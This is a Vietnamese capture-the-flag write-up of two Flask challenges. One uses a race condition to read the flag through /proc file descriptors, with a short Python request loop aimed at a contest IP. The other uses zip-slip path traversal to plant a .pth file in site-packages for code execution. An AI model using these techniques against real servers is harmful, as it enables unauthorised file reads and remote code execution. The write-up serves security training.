### Bài Ka Tuổi Trẻ Bài này có source khá đơn giản: app.py ```py from flask import Flask, request, redirect from os import access, R_OK, stat from os.path import isfile, join, normpath import regex app = Flask(__name__, static_url_path='/static', static_folder='static') @app.get('/') def home(): if request.args.get('file'): filename = join("./static", request.args.get('file')) if isfile(normpath(filename)) and access(normpath(filename), R_OK) and (stat(normpath(filename)).st_size < 1024 * 1024 * 2): try: with open(normpath(filename), "rb") as file: if not regex.search(r'^(([ -~])+.)+([(^~\'!*<>:;,?"*|%)]+)|([^\x00-\x7F]+)(([ -~])+.)+$', filename, timeout=2) and "flag" not in filename: return file.read(1024 * 1024 * 2) except: pass return redirect("/?file=index.html") ``` Có thể thấy thông qua tham số file ta sẽ đọc được file của hệ thống . Ở bài này mục tiêu của ta sẽ đọc được file `/flag.txt`nhưng bài đã filter từ `flag` nên ta không thể đọc trực tiếp được Để ý kĩ đoạn code thì có thể thấy chương trình đã mở file trước rồi sau đó mới check.Nên ý tưởng của bài này sẽ là ta thực hiện race condition cùng với lợi dụng khi chương trình mở file ta sẽ đọc file `fd` để lấy file `/flag.txt`. Và trong file `default.conf` đã giới hạn số request 10/s nên để dễ race thành công thì ta sẽ cho thật nhiều `../` để làm cho quá trình xử lí trở nên chậm hơn. ![image](https://hackmd.io/_uploads/S1FoKqbXR.png) Nhưng trước tiên ta cần tìm số pid của chương trình vì vậy ta sẽ race đồng thời sẽ dùng lệnh `lsof | grep "flag"` để đọc số pid của tiến trình khi mở file `/flag.txt` trên docker. Ta sẽ dùng intruder trong burpsuite để gửi request rồi đọc pid trên docker. ![image](https://hackmd.io/_uploads/ryzCsqZmA.png) ![image](https://hackmd.io/_uploads/r1Ks9cZXA.png) Mặc dù có nhiều tiến trình được mở nhưng dao động của số pid không quá lớn và số pid của flag.txt thì luôn là 10. Và vì môi trường của server và docker khá giống nhau nên ta sẽ đọc file `/proc/8/fd/10` Bây giờ ta cũng sẽ dùng intruder để gửi request rồi đọc file ```py import requests session = requests.session() def test(): burp0_url = "http://103.163.24.78:8888/?file=/proc/8/fd/10" while True: res=session.get(burp0_url,allow_redirects=False) print(res.status_code) if "KCSC" in res.text: print(res.text) break; test() #KCSC{D1eu_tuу3t_v01_n@m_o_n0i_ch1nh_ta_ch@ng_can_tim_d@u_xa} ``` ### Simple Flask Mục tiêu của bài này là đọc file `/proc/self/environ` vì flag được lưu vào biến môi trường. ![image](https://hackmd.io/_uploads/B1pR7oWXA.png) app.py ```py from flask import Flask, request, render_template, flash import zipfile import re import os from os import listdir from os.path import isfile, join app = Flask(__name__, static_folder='uploads') app.secret_key = "test_keyyyyyyy" def list_all_files(mypath: str): output = [] for path, subdirs, files in os.walk(mypath): for name in files: output.append(os.path.join(path, name)) return output def fileIsSafe(file_ext: str): if not file_ext: return False if re.match(r'\.(py|ini|html|htm|env|bash|sh|so|preload)', file_ext): return False return True @app.route('/') def index(): mypath = "uploads" uploaded_file = list_all_files(mypath) return render_template('index.html', data = uploaded_file) @app.route('/upload', methods=['POST']) def upload(): if not request.files['file']: return "Not file provided" else: try: client_file = request.files['file'] with zipfile.ZipFile(client_file, 'r') as zip_ref: for name in zip_ref.namelist(): _, file_ext = os.path.splitext(name) if fileIsSafe(file_ext): if len(name.split("/")) != 1: curr_path = "uploads" for folder_name in name.split("/")[:-1]: curr_path += f"/{folder_name}" if not os.path.exists(curr_path): os.mkdir(curr_path) dest_path = os.path.normpath(f"uploads/{name}") with open(dest_path, "wb") as f: f.write(zip_ref.read(name)) except: return "Something went wrong" return "Success! Check uploads/ folder" @app.route('/healthz') def healthz(): import subprocess output = subprocess.check_output(["python", "-c", "print('OK')"]) return output if __name__ == "__main__": app.run(host="0.0.0.0", debug=False, port=5000) ``` Đây là một web app có chức năng upload file zip và ghi các file trong file zip (khá giống với giải nén file zip) nhưng việc filename chỉ kiểm tra extension của file và không được kiểm tra kĩ dẫn đến việc ta có thể ghi file ở bất kì thư mục nào. Nhưng vì file `.py` đã bị chặn nên ý tưởng ban đầu ghi thêm một route để đọc flag là không thể. Nhưng có một cách không những ta có thể đọc flag mà còn rce được luôn. Trong python có file extensions là `.pth` dùng để tùy chỉnh đường dẫn vào `sys.path`. [https://stackoverflow.com/questions/8822335/what-do-the-python-file-extensions-pyc-pyd-pyo-stand-for](https://stackoverflow.com/questions/8822335/what-do-the-python-file-extensions-pyc-pyd-pyo-stand-for) Vậy làm sao từ file `.pth` mà ta có thể rce thì câu trả lời có trong bài blog này: [https://www.sonarsource.com/blog/pretalx-vulnerabilities-how-to-get-accepted-at-every-conference/#code-execution-via-sitespecific-configuration-hooks](https://www.sonarsource.com/blog/pretalx-vulnerabilities-how-to-get-accepted-at-every-conference/#code-execution-via-sitespecific-configuration-hooks) Đọc bài blog thì có thể hiểu idea của bài rồi. Với việc ta có thể ghi file vào bất cứ thư mục nào thì ta dễ dàng ghi một file `foo.pth` vào `~/.local/lib/pythonX.Y/site-packages/`. Và nếu dòng đầu tiên của file `.pth` mà bắt đầu bằng `import` hoặc `import\t` thì file `.pth` sẽ thực hiện code như file python. ![image](https://hackmd.io/_uploads/Hyvm_i-7R.png) Và file được thực thi nếu một tác vụ của python được thực hiện.Vì vậy file sẽ được thực thi khi ta truy cập vào route `/healthz`. Trước tiên ta sẽ dùng docker để đọc đường thư mục `site-packages`. ![image](https://hackmd.io/_uploads/Hk9QqoWmR.png) Vậy ta ghi một file vào thư mục `/usr/local/lib/python3.8/site-packages/` Ta sẽ tạo file `foo.pth` và sẽ dùng tool evilarc.py để tạo file zip. ![image](https://hackmd.io/_uploads/S1V7is-X0.png) Việc còn lại là upload lên server rồi truy cập vào route `healthz`. ![image](https://hackmd.io/_uploads/r1gRsj-mR.png) `KCSC{n0th1ng_1n_y0ur_eye5_62165631}`